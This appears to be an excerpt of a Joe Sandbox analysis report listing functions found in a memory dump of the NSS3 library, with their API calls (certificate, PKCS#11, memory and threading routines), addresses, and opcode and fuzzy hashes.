PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CBBEECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CBBEEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6CBBEEFB

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: 1c33a5da55f021d911865f28aceddb04d2d87c9561adeca093875f86b2ae0f5a
Instruction ID: 2e85151a064f61f7174d9f7d2d211b2d1b41439c08560b0e68049889f1231492
Opcode Fuzzy Hash: 1c33a5da55f021d911865f28aceddb04d2d87c9561adeca093875f86b2ae0f5a
Instruction Fuzzy Hash: F4815BB5A002859FEB14CF59D884ABF77F5EF88308F144468E815AB761DB70E814CBA2

Function 6CBBCCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CBBC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CBBDAE2,?), ref: 6CBBC6C2

PR_Now.NSS3 ref: 6CBBCD35

Part of subcall function 6CC19DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CC60A27), ref: 6CC19DC6
Part of subcall function 6CC19DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CC60A27), ref: 6CC19DD1
Part of subcall function 6CC19DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CC19DED

Part of subcall function 6CBA6C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CB51C6F,00000000,00000004,?,?), ref: 6CBA6C3F

PR_GetCurrentThread.NSS3 ref: 6CBBCD54

Part of subcall function 6CC19BF0: TlsGetValue.KERNEL32(?,?,?,6CC60A75), ref: 6CC19C07

Part of subcall function 6CBA7260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CB51CCC,00000000,00000000,?,?), ref: 6CBA729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CBBCD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6CBBCE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6CBBCE2C

Part of subcall function 6CBB10C0: TlsGetValue.KERNEL32(?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB10F3
Part of subcall function 6CBB10C0: EnterCriticalSection.KERNEL32(?,?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB110C
Part of subcall function 6CBB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB1141
Part of subcall function 6CBB10C0: PR_Unlock.NSS3(?,?,?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB1182
Part of subcall function 6CBB10C0: TlsGetValue.KERNEL32(?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6CBBCE40

Part of subcall function 6CBB14C0: TlsGetValue.KERNEL32 ref: 6CBB14E0
Part of subcall function 6CBB14C0: EnterCriticalSection.KERNEL32 ref: 6CBB14F5
Part of subcall function 6CBB14C0: PR_Unlock.NSS3 ref: 6CBB150D

Part of subcall function 6CBBCEE0: PORT_ArenaMark_Util.NSS3(?,6CBBCD93,?), ref: 6CBBCEEE
Part of subcall function 6CBBCEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6CBBCD93,?), ref: 6CBBCEFC
Part of subcall function 6CBBCEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6CBBCD93,?), ref: 6CBBCF0B
Part of subcall function 6CBBCEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6CBBCD93,?), ref: 6CBBCF1D

Part of subcall function 6CBBCEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6CBBCD93,?), ref: 6CBBCF47
Part of subcall function 6CBBCEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6CBBCD93,?), ref: 6CBBCF67
Part of subcall function 6CBBCEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6CBBCD93,?,?,?,?,?,?,?,?,?,?,?,6CBBCD93,?), ref: 6CBBCF78

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: 2621e448f8974fb751ac551dcb04dbe9cb4eb9633514822c73c56a516803b6e0
Instruction ID: d1959627f8d1ed321e2315573d8af6cc343113e355dd0088187b80ff8e21f327
Opcode Fuzzy Hash: 2621e448f8974fb751ac551dcb04dbe9cb4eb9633514822c73c56a516803b6e0
Instruction Fuzzy Hash: C0518FB6A001519BE710DF69DC40BBA73E4EF48348F250524E955B7B41EF71F905CB92

Function 6CBCFFD0 Relevance: 9.1, APIs: 6, Instructions: 132COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFD076,00000000), ref: 6CBCFFE5

Part of subcall function 6CBFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBFC2BF

PR_EnterMonitor.NSS3(?), ref: 6CBD0004
PR_EnterMonitor.NSS3(?), ref: 6CBD001B

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: EnterMonitor$ErrorValue
String ID:
API String ID: 3413098822-0
Opcode ID: 6da95662485e1ca95e1e803105a479ec8968f900a70552eb10263c7830f4fb0c
Instruction ID: 364f9fc8826a8dbf6ddb81351133a7e74e7ed5cf64734aeb73cda1217c42bc9f
Opcode Fuzzy Hash: 6da95662485e1ca95e1e803105a479ec8968f900a70552eb10263c7830f4fb0c
Instruction Fuzzy Hash: 8F4163752886C0DBE7208A29FC517AB73A5EB41308F52053DF54BCAE90E3B9B549C743

Function 6CB8EEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6CB8EF38

Part of subcall function 6CB79520: PK11_IsLoggedIn.NSS3(00000000,?,6CBA379E,?,00000001,?), ref: 6CB79542

PK11_Authenticate.NSS3(?,00000001,?), ref: 6CB8EF53

Part of subcall function 6CB94C20: TlsGetValue.KERNEL32 ref: 6CB94C4C
Part of subcall function 6CB94C20: EnterCriticalSection.KERNEL32(?), ref: 6CB94C60
Part of subcall function 6CB94C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CB94CA1
Part of subcall function 6CB94C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6CB94CBE
Part of subcall function 6CB94C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6CB94CD2
Part of subcall function 6CB94C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB94D3A

PR_GetCurrentThread.NSS3 ref: 6CB8EF9E

Part of subcall function 6CC19BF0: TlsGetValue.KERNEL32(?,?,?,6CC60A75), ref: 6CC19C07

free.MOZGLUE(00000000), ref: 6CB8EFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CB8F016
free.MOZGLUE(00000000), ref: 6CB8F022

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: c8c2af02265a5bc0d418b8c3d74ba500a3c999626a197b50ecf32f640e57da49
Instruction ID: 01edca3b74eeda49757d65d392035c8a5df90d347505832968eca8a51a4896f7
Opcode Fuzzy Hash: c8c2af02265a5bc0d418b8c3d74ba500a3c999626a197b50ecf32f640e57da49
Instruction Fuzzy Hash: 054170B1E0124AAFDF018FA9DC45BEE7BB9EB48358F144025F914A7350E772C9158BA1

Function 6CB7CF40 Relevance: 9.1, APIs: 6, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000060), ref: 6CB7CF80
SECITEM_DupItem_Util.NSS3(?), ref: 6CB7D002
PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,00000000), ref: 6CB7D016
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB7D025
PR_NewLock.NSS3 ref: 6CB7D043
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CB7D074

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: ErrorUtil$Alloc_ContextDestroyItem_K11_Lock
String ID:
API String ID: 3361105336-0
Opcode ID: 89366494081db163b870c078d71756dfcb30dee2e401165764f22bc872e3ff03
Instruction ID: 7ee5110c4705626e3ad275538fcea9bf47c64deda357304442388b9e41b4c214
Opcode Fuzzy Hash: 89366494081db163b870c078d71756dfcb30dee2e401165764f22bc872e3ff03
Instruction Fuzzy Hash: 574191B0A012518FDF20DF39D89479A7BA8EF08358F105169DC298FB46D774D889CBB2

Function 6CBC3FD0 Relevance: 9.1, APIs: 6, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CBC3FF2

Part of subcall function 6CBB14C0: TlsGetValue.KERNEL32 ref: 6CBB14E0
Part of subcall function 6CBB14C0: EnterCriticalSection.KERNEL32 ref: 6CBB14F5
Part of subcall function 6CBB14C0: PR_Unlock.NSS3 ref: 6CBB150D

PORT_ArenaMark_Util.NSS3(?), ref: 6CBC4001
PORT_ArenaAlloc_Util.NSS3(?,00000074), ref: 6CBC400F

Part of subcall function 6CBB10C0: TlsGetValue.KERNEL32(?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB10F3
Part of subcall function 6CBB10C0: EnterCriticalSection.KERNEL32(?,?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB110C
Part of subcall function 6CBB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB1141
Part of subcall function 6CBB10C0: PR_Unlock.NSS3(?,?,?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB1182
Part of subcall function 6CBB10C0: TlsGetValue.KERNEL32(?,6CB58802,00000000,00000008,?,6CB4EF74,00000000), ref: 6CBB119C

CERT_CertChainFromCert.NSS3(?,00000004,00000000), ref: 6CBC4054

Part of subcall function 6CB5BB90: PORT_NewArena_Util.NSS3(00001000), ref: 6CB5BC24
Part of subcall function 6CB5BB90: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CB5BC39
Part of subcall function 6CB5BB90: PORT_ArenaAlloc_Util.NSS3(00000000), ref: 6CB5BC58
Part of subcall function 6CB5BB90: SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6CB5BCBE

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CBC4070
NSS_CMSSignedData_Destroy.NSS3(00000000), ref: 6CBC40CD

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$CertCriticalEnterMark_SectionUnlock$AllocateArena_ChainCopyData_DestroyErrorFromItem_Signed
String ID:
API String ID: 3882640887-0
Opcode ID: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction ID: 9d4bcfbbbf30461829a7cf0e91cc987b3e68dc635d4cf59a4a2fa11c5345a491
Opcode Fuzzy Hash: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction Fuzzy Hash: 7631B4B1F4038197EB009F649D41BBA3368EF9060CF144225ED499B742FB71EA5886A3

Function 6CB62E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6CB52D1A), ref: 6CB62E7E

Part of subcall function 6CBB07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CB58298,?,?,?,6CB4FCE5,?), ref: 6CBB07BF
Part of subcall function 6CBB07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CBB07E6
Part of subcall function 6CBB07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CBB081B
Part of subcall function 6CBB07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CBB0825

PR_Now.NSS3 ref: 6CB62EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6CB62EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6CB52D1A), ref: 6CB62F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6CB52D1A), ref: 6CB62F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6CB62F81

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: 9458e6435c0b7a25376ac76ee43e51fb7137911953f32d09b492b3200c3b7787
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: 1331F3715011C08BFF10C657DC88BBEB266EF91358F64097AD429A7ED0EB31988AC753

Function 6CB50E00 Relevance: 9.1, APIs: 6, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3(?,?,6CB50A2C), ref: 6CB50E0F
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,6CB50A2C), ref: 6CB50E73
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,6CB50A2C), ref: 6CB50E85
PORT_ZAlloc_Util.NSS3(00000001,?,?,6CB50A2C), ref: 6CB50E90
free.MOZGLUE(00000000), ref: 6CB50EC4
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,6CB50A2C), ref: 6CB50ED9

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Util$Alloc_$ArenaDecodeItem_ValueZfreefreememset
String ID:
API String ID: 3618544408-0
Opcode ID: e738a487855caf221dbd58214797b53b257ddb3f765e08f484bfd15b993ce2f8
Instruction ID: 74bd23e5cb83034745221a4b935686c97dec140e41b9655069c54dfcc75cd4b9
Opcode Fuzzy Hash: e738a487855caf221dbd58214797b53b257ddb3f765e08f484bfd15b993ce2f8
Instruction Fuzzy Hash: 32210A73F002C557FB004D66BC85B6F72AEDB8174CFA94435D81C67A02FA61C83582A3

Function 6CB5AE50 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CB5AEB3
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6CB5AECA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CB5AEDD
PR_SetError.NSS3(FFFFE022,00000000), ref: 6CB5AF02
SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6CC79500), ref: 6CB5AF23

Part of subcall function 6CBAF080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6CBAF0C8
Part of subcall function 6CBAF080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CBAF122

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CB5AF37

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Util$Arena_$Free$EncodeError$Integer_Item_Unsigned
String ID:
API String ID: 3714604333-0
Opcode ID: 483cd1c4306b00c0680ff248fc33b3ea439a1b9cacc9ea5feaa56ce28ae4eb99
Instruction ID: c287cf2d6b729c8dc35c121726c754793f8b1663c58e367cc856f6c7cfcc9311
Opcode Fuzzy Hash: 483cd1c4306b00c0680ff248fc33b3ea439a1b9cacc9ea5feaa56ce28ae4eb99
Instruction Fuzzy Hash: 0E212BB15093406BEB108F189C41BAE7BA4EF85728F544315FC54BB780E732D5598BB7

Function 6CBDEE50 Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CBDEE85
realloc.MOZGLUE(A66B552E,?), ref: 6CBDEEAE
PORT_Alloc_Util.NSS3(?), ref: 6CBDEEC5

Part of subcall function 6CBB0BE0: malloc.MOZGLUE(6CBA8D2D,?,00000000,?), ref: 6CBB0BF8
Part of subcall function 6CBB0BE0: TlsGetValue.KERNEL32(6CBA8D2D,?,00000000,?), ref: 6CBB0C15

htonl.WSOCK32(?), ref: 6CBDEEE3
htonl.WSOCK32(00000000,?), ref: 6CBDEEED
memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6CBDEF01

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: htonl$Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 1351805024-0
Opcode ID: 6114adfaa9138d6b5f5130918f7c68766f3e9678c53ff4a0569dc54b09589598
Instruction ID: da88783f29b4dd99b26808a98f8162e87cbad4ed82f2e5d26d823120d78e8a33
Opcode Fuzzy Hash: 6114adfaa9138d6b5f5130918f7c68766f3e9678c53ff4a0569dc54b09589598
Instruction Fuzzy Hash: 8521BF71A002559FDF109F29DC84B9EB7A4EF49358F168169EC199B641E730FC14CBE2

Function 6CB8EE30 Relevance: 9.1, APIs: 6, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CB8EE49

Part of subcall function 6CBAFAB0: free.MOZGLUE(?,-00000001,?,?,6CB4F673,00000000,00000000), ref: 6CBAFAC7

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CB8EE5C
PK11_CreateContextBySymKey.NSS3(?,00000104,?,?), ref: 6CB8EE77
PK11_CipherOp.NSS3(00000000,?,00000008,?,?,?), ref: 6CB8EE9D
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CB8EEB3

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: K11_$ContextItem_Util$AllocCipherCreateDestroyZfreefree
String ID:
API String ID: 886189093-0
Opcode ID: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction ID: d7ff8a98d0839d4faa5d3b2851643bc3c3e70e05d07f7bea884e25e37be2c6f3
Opcode Fuzzy Hash: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction Fuzzy Hash: 2D21D5BAA012956BEB118E58DC81EAF77A8EF45708F054164FD049B741E771EC1487F1

Function 6CBA5ED0 Relevance: 9.1, APIs: 6, Instructions: 80stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CBA5D71), ref: 6CBA5F0A
TlsGetValue.KERNEL32 ref: 6CBA5F1F
EnterCriticalSection.KERNEL32(89000904), ref: 6CBA5F2F
PR_Unlock.NSS3(890008E8), ref: 6CBA5F55
PR_SetError.NSS3(00000000,00000000), ref: 6CBA5F6D
SECMOD_UpdateSlotList.NSS3(8B4274C0), ref: 6CBA5F7D

Part of subcall function 6CBA5220: TlsGetValue.KERNEL32(00000000,890008E8,?,6CBA5F82,8B4274C0), ref: 6CBA5248
Part of subcall function 6CBA5220: EnterCriticalSection.KERNEL32(0F6CC70D,?,6CBA5F82,8B4274C0), ref: 6CBA525C
Part of subcall function 6CBA5220: PR_SetError.NSS3(00000000,00000000), ref: 6CBA528E
Part of subcall function 6CBA5220: PR_Unlock.NSS3(0F6CC6F1), ref: 6CBA5299
Part of subcall function 6CBA5220: free.MOZGLUE(00000000), ref: 6CBA52A9

Memory Dump Source

Source File: 00000000.00000002.2005624900.000000006CAD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2005596137.000000006CAD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007458522.000000006CCAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2007770788.000000006CCAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008242038.000000006CCB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2008277067.000000006CCB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin
